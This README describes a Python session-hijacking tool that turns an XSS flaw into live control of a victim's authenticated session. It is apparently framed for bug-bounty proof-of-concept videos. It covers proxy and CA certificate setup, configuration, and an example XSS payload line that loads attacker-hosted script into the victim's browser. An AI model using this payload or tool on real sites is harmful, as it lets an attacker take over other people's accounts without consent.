This project is inspired by SHVE by doyensec, but with a few modifications.
The goal of the project is to be able to exploit an XSS vulnerability more visually. It proxify every requests made by the attacker and play them inside the victim's browser using XHR. This way, even if the cookies are httponly, you can still exploit the victim's session.
In self-hosted bug bounty programs, it is really common that the program manager close a report because the XSS you reported seems to be harmless. In order to alert the program manager, you generally need to make a short video showing your payload in action, what it did and what you can do with it.
This can be really frustating to do, especially since that your video has to be short enough so that the program manager does not feel that he is wasting his time (already experienced it, itis really frustrating).
With this project, you turn your XSS without session cookie stealing into a visual XSS which looks just like an XSS with session cookie stealing
- Target website must not have CSP value for
connect-src(ordefault-src) - Target website sould have at least CSP value
frame-ancestorsto self - You will not be able to do anything more than your XSS. The only thing this project adds is the visual interaction of the attacker. So if your XSS cannot trigger anything because of a correct CORS policy or CSP rules, this project won't help you.
Note that the second point is not required, but if not present the connexion will be closed everytime the client changes of page. So it is not viable as a complete exploit, but it's okay for a video POC. Javascript payload should be adapted if you want to do this anyway.
Because of personal opinions :
- I do not like nodeJS for tooling : a lot of dependencies, not installed by default on a lot of distros (unlike python)
- I do not need a "Visual Mode" : I admit Visual Mode is very funny, and a bit impressive regarding how it works, but in a bug bounty perspective, I don't consider it very powerful (unlike Interactive mode)
- I want to customize my tool however I want, without making a PR : "Then why didn't you just forked the project ?" --> Read the first item of this list
- I do not like the "Custom Browser" of the original project : I already have a browser on my computer, you already have a browser on your computer, everyone already have a browser on his/her computer. Why re-creating one, which does not have all the awesome devtools ?
The pros (according to me) :
- This project is written in python, and has only 3 libs inside requirements.txt
- On original project, when loading huge files (.js, .jpg, .png, etc...), the request does not get proxified and are made directly from the attacker computer. This makes the pages load a lot faster, BUT sometimes you do not want to do that. In this project, this is an option, and you can list which files you want to proxify.
- If you load a .jpg file, but to get the file you need client authentication, in the original project it doesn't work. On this project, you can force proxification if a request get a bad answer : you try to load huge content (images, javascript) without proxification to speed up the page loading, but if you need an authentication, these requests are automatically proxified.
- A few bug correction
The cons :
- This project does not have a "visual mode"
- No authentication : I only use it for pocs for bug bounty on my own computer. You should not run it on your server over the internet since there is not any authentication for the hacker.
- No WSS : I suppose it would not be hard to add, but it works well with WS, and it is not an issue since I am only using this on my localhost.
- Probably bugs that the original version does not have. But I don't know, it seems to be working pretty well.
- My project is awefully designed (I am not a dev, and remember it is only here to shoot POC videos). It should not handle more than one connexion on the same domain name. But I can't see any legal scenario in which you want to handle multiple connexion on the same website ;)
You need to install python3 on your computer.
Then, you need to create a venv using python. Go inside the project directory.
python -m venv env
source env/bin/activate
pip install -R requirements.txt
You need to have python and pip install and added to your PATH environnement variable.
python -m venv env
If you are using cmd : env\Scripts\activate.bat
Else, if you are using Powershell : env\Scripts\Activate.ps1
pip install -R requirements.txt
Since the attacker needs to proxify his requests, we need an Certificate authority able to sign certificates on the fly in order to not break the HTTPS protocol. Here is how to generateand use it :
cd certificates
openssl req -config openssl-proxy.conf -newkey rsa -x509 -days 365 -out CA_proxy.crt
You can press enter to leave the default values (recommanded).
On linux : cat cakey_proxy.pem CA_proxy.crt > mitmproxy-ca.pem
cd certificates
Then, generate the certificate for the webserver :
openssl req -config openssl-webserver.conf -newkey rsa -x509 -days 365 -out CA_webserver.crt
You can press enter to leave the default values (recommanded).
You now need to add both of the certificate to the attacker browser.
Settings --> Certificates --> View certificates --> Authorities --> Import certificate
Then, select the CA_proxy.crt file. Make sure to tick the box "Trust this CA to identify websites"
If you want to delete it afterward, delete both of the certificates under "SHVE-python".
Settings --> Security --> Manage certificates --> Authorities --> Import
Then, select the CA_proxy.crt file. Make sure to tick the box "Trust this certificate for identifying websites"
If you want to delete it afterward, delete both of the certificates under "org-SHVE-python".
The file config.json contains a working configuration. You can edit it if you want. Here are a few things to know :
proxy.do_not_proxify.extensions: when hacker is making a request ending by one of the extensions listed, the request will not be followed to the victim : it will be made directly from the computer of the attacker in order to win timeproxy.do_not_proxify.sec_fetch_dest: same thing that extensions, but for client headerSec-Fetch-Dest. Useful for APIs loading file without extensions inside the path for example.proxy.do_not_proxify.domains: same thing, but for domainsproxy.do_not_proxify.urls: same thing, but for specific URLsproxy.do_not_proxify.force_proxify_on_errors: If a non-proxified request gets an answer between 300 and 500, it will replay the request but will force it to go through the client browser. It is usefull when some files needs an authentification to be loaded.
First, start the server : python server.py
You need to configure a proxy inside of the attacker browser. I strongly recommand using PwnFox on Firefox, but you can also configure your proxy manually inside firefox parameters.
Through this proxy, you need to go to the URL of the web server that you configured (https://localhost:5000 by default). Do not forget the https://. You should get a security warning, because you are using a self-signed certificate, but you can continue anyway.
Then, trigger your XSS on the victim's browser. Of course, do not proxify the victim's browser : in a real life situation, the victim should not have any configuration to make. Just trigger the XSS with this payload for example : <script src=https://localhost:5000/static/payload.js>.
Finally, on the hacker browser : refresh the page and you should see a new session (if the website follows the requirement listed at the beginning of the README). You can then clic on the red button, which should open a new window (which has to be proxified too). You can now use the website you are targeting as the victim !